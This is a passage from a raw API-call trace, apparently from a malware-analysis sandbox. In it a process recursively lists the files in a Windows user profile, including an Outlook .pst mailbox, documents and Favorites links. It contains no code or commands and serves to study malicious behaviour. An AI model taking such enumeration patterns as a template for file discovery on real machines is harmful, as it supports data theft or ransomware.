dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="_private", cAlternateFileName="")) returned 0xffffffff [0124.396] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34d9f60 | out: hHeap=0x810000) returned 1 [0124.396] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3471070 | out: hHeap=0x810000) returned 1 [0124.396] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34d9c18 | out: hHeap=0x810000) returned 1 [0124.396] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.396] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\") returned="Outlook Files\\" [0124.396] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0124.396] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.396] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.396] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34504a8 | out: hHeap=0x810000) returned 1 [0124.396] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.396] PathFindFileNameW (pszPath="") returned="" [0124.396] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x8a4af3c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x8a4af3c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0124.397] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34d9f60 | out: hHeap=0x810000) returned 1 [0124.397] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x8a4af3c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x8a4af3c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0124.397] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a868660, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5a868660, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x8a4fb680, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="voeimd@djhreuu.uhd.pst", cAlternateFileName="VOEIMD~1.PST")) returned 1 [0124.397] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a868660, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5a868660, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x8a4fb680, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="voeimd@djhreuu.uhd.pst", cAlternateFileName="VOEIMD~1.PST")) returned 0 [0124.397] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.397] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3471070 | out: hHeap=0x810000) returned 1 [0124.397] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34d9c18 | out: hHeap=0x810000) returned 1 [0124.397] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.397] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\") returned="wbRZ\\" [0124.397] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0124.397] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.397] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.397] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34504a8 | out: hHeap=0x810000) returned 1 [0124.397] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.397] PathFindFileNameW (pszPath="") returned="" [0124.397] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5fd7960, ftCreationTime.dwHighDateTime=0x1d5e3f8, ftLastAccessTime.dwLowDateTime=0xe8e03010, ftLastAccessTime.dwHighDateTime=0x1d5dda0, ftLastWriteTime.dwLowDateTime=0xe8e03010, ftLastWriteTime.dwHighDateTime=0x1d5dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0124.400] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8ed388 | out: hHeap=0x810000) returned 1 [0124.400] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb5fd7960, ftCreationTime.dwHighDateTime=0x1d5e3f8, ftLastAccessTime.dwLowDateTime=0xe8e03010, ftLastAccessTime.dwHighDateTime=0x1d5dda0, ftLastWriteTime.dwLowDateTime=0xe8e03010, ftLastWriteTime.dwHighDateTime=0x1d5dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0124.400] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4e18e1e0, ftCreationTime.dwHighDateTime=0x1d5e1c8, ftLastAccessTime.dwLowDateTime=0x7c192100, ftLastAccessTime.dwHighDateTime=0x1d5e28f, ftLastWriteTime.dwLowDateTime=0x7c192100, ftLastWriteTime.dwHighDateTime=0x1d5e28f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="2Y7bkGdlV xSV8hevV3C", cAlternateFileName="2Y7BKG~1")) returned 1 [0124.400] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e34efa0, ftCreationTime.dwHighDateTime=0x1d5d9a3, ftLastAccessTime.dwLowDateTime=0x62f25bd0, ftLastAccessTime.dwHighDateTime=0x1d5e3af, ftLastWriteTime.dwLowDateTime=0x62f25bd0, ftLastWriteTime.dwHighDateTime=0x1d5e3af, nFileSizeHigh=0x0, nFileSizeLow=0x17d6, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="65qMw-bEHQiCteRSq.rtf", cAlternateFileName="65QMW-~1.RTF")) returned 1 [0124.400] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6b06220, ftCreationTime.dwHighDateTime=0x1d5e719, ftLastAccessTime.dwLowDateTime=0x675a81e0, ftLastAccessTime.dwHighDateTime=0x1d5de12, ftLastWriteTime.dwLowDateTime=0x675a81e0, ftLastWriteTime.dwHighDateTime=0x1d5de12, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="68HVN", cAlternateFileName="")) returned 1 [0124.400] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfec27cb0, ftCreationTime.dwHighDateTime=0x1d5db90, ftLastAccessTime.dwLowDateTime=0xaa76ed20, ftLastAccessTime.dwHighDateTime=0x1d5dac9, ftLastWriteTime.dwLowDateTime=0xaa76ed20, ftLastWriteTime.dwHighDateTime=0x1d5dac9, nFileSizeHigh=0x0, nFileSizeLow=0x10ddc, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="eqiMJjf.odp", cAlternateFileName="")) returned 1 [0124.400] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4066ea20, ftCreationTime.dwHighDateTime=0x1d5e25d, ftLastAccessTime.dwLowDateTime=0x35e83a40, ftLastAccessTime.dwHighDateTime=0x1d5debb, ftLastWriteTime.dwLowDateTime=0x35e83a40, ftLastWriteTime.dwHighDateTime=0x1d5debb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="KHLX_z_BzgqT1ccr3g5", cAlternateFileName="KHLX_Z~1")) returned 1 [0124.400] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7a97a0, ftCreationTime.dwHighDateTime=0x1d5e08b, ftLastAccessTime.dwLowDateTime=0x6733c450, ftLastAccessTime.dwHighDateTime=0x1d5da12, ftLastWriteTime.dwLowDateTime=0x6733c450, ftLastWriteTime.dwHighDateTime=0x1d5da12, nFileSizeHigh=0x0, nFileSizeLow=0x16542, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="KTYuqOmFily7OS.pps", cAlternateFileName="KTYUQO~1.PPS")) returned 1 [0124.400] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e0f9850, ftCreationTime.dwHighDateTime=0x1d5da14, ftLastAccessTime.dwLowDateTime=0x30fecda0, ftLastAccessTime.dwHighDateTime=0x1d5e023, ftLastWriteTime.dwLowDateTime=0x30fecda0, ftLastWriteTime.dwHighDateTime=0x1d5e023, nFileSizeHigh=0x0, nFileSizeLow=0x198d, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="nme4fefh0xv.odp", cAlternateFileName="NME4FE~1.ODP")) returned 1 [0124.400] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e934a30, ftCreationTime.dwHighDateTime=0x1d5e16e, ftLastAccessTime.dwLowDateTime=0x9aa57ec0, ftLastAccessTime.dwHighDateTime=0x1d5dfa6, ftLastWriteTime.dwLowDateTime=0x9aa57ec0, ftLastWriteTime.dwHighDateTime=0x1d5dfa6, nFileSizeHigh=0x0, nFileSizeLow=0x82f6, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="uueFH6wuLMIE.pptx", cAlternateFileName="UUEFH6~1.PPT")) returned 1 [0124.400] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e934a30, ftCreationTime.dwHighDateTime=0x1d5e16e, ftLastAccessTime.dwLowDateTime=0x9aa57ec0, ftLastAccessTime.dwHighDateTime=0x1d5dfa6, ftLastWriteTime.dwLowDateTime=0x9aa57ec0, ftLastWriteTime.dwHighDateTime=0x1d5dfa6, nFileSizeHigh=0x0, nFileSizeLow=0x82f6, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="uueFH6wuLMIE.pptx", cAlternateFileName="UUEFH6~1.PPT")) returned 0 [0124.400] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.401] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3471070 | out: hHeap=0x810000) returned 1 [0124.401] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8ed528 | out: hHeap=0x810000) returned 1 [0124.401] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.401] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\") returned="Links\\" [0124.401] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0124.401] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.401] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.401] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34504a8 | out: hHeap=0x810000) returned 1 [0124.401] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.401] PathFindFileNameW (pszPath="") returned="" [0124.401] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0124.401] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8ed320 | out: hHeap=0x810000) returned 1 [0124.401] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0124.401] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0124.401] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52cd1930, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52fcb4b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xec, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Suggested Sites.url", cAlternateFileName="SUGGES~1.URL")) returned 1 [0124.401] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d9517a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 1 [0124.401] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d9517a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 0 [0124.401] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.401] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3471070 | out: hHeap=0x810000) returned 1 [0124.401] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x8ed528 | out: hHeap=0x810000) returned 1 [0124.401] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.402] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\") returned="Microsoft Websites\\" [0124.402] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0124.402] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.402] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.402] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34504a8 | out: hHeap=0x810000) returned 1 [0124.402] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.402] PathFindFileNameW (pszPath="") returned="" [0124.402] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0124.405] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x866c80 | out: hHeap=0x810000) returned 1 [0124.405] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0124.405] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="IE Add-on site.url", cAlternateFileName="IEADD-~1.URL")) returned 1 [0124.405] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="IE site on Microsoft.com.url", cAlternateFileName="IESITE~1.URL")) returned 1 [0124.405] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Microsoft At Home.url", cAlternateFileName="MICROS~3.URL")) returned 1 [0124.405] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Microsoft At Work.url", cAlternateFileName="MICROS~2.URL")) returned 1 [0124.405] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 1 [0124.405] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 0 [0124.405] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.406] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3471070 | out: hHeap=0x810000) returned 1 [0124.406] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x866ae8 | out: hHeap=0x810000) returned 1 [0124.406] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.406] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\") returned="MSN Websites\\" [0124.406] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0124.406] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0124.406] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0124.406] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34504a8 | out: hHeap=0x810000) returned 1 [0124.406] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.406] PathFindFileNameW (pszPath="") returned="" [0124.406] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0124.408] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34d9f60 | out: hHeap=0x810000) returned 1 [0124.408] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0124.408] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="MSN Autos.url", cAlternateFileName="MSNAUT~1.URL")) returned 1 [0124.408] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="MSN Entertainment.url", cAlternateFileName="MSNENT~1.URL")) returned 1 [0124.408] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: 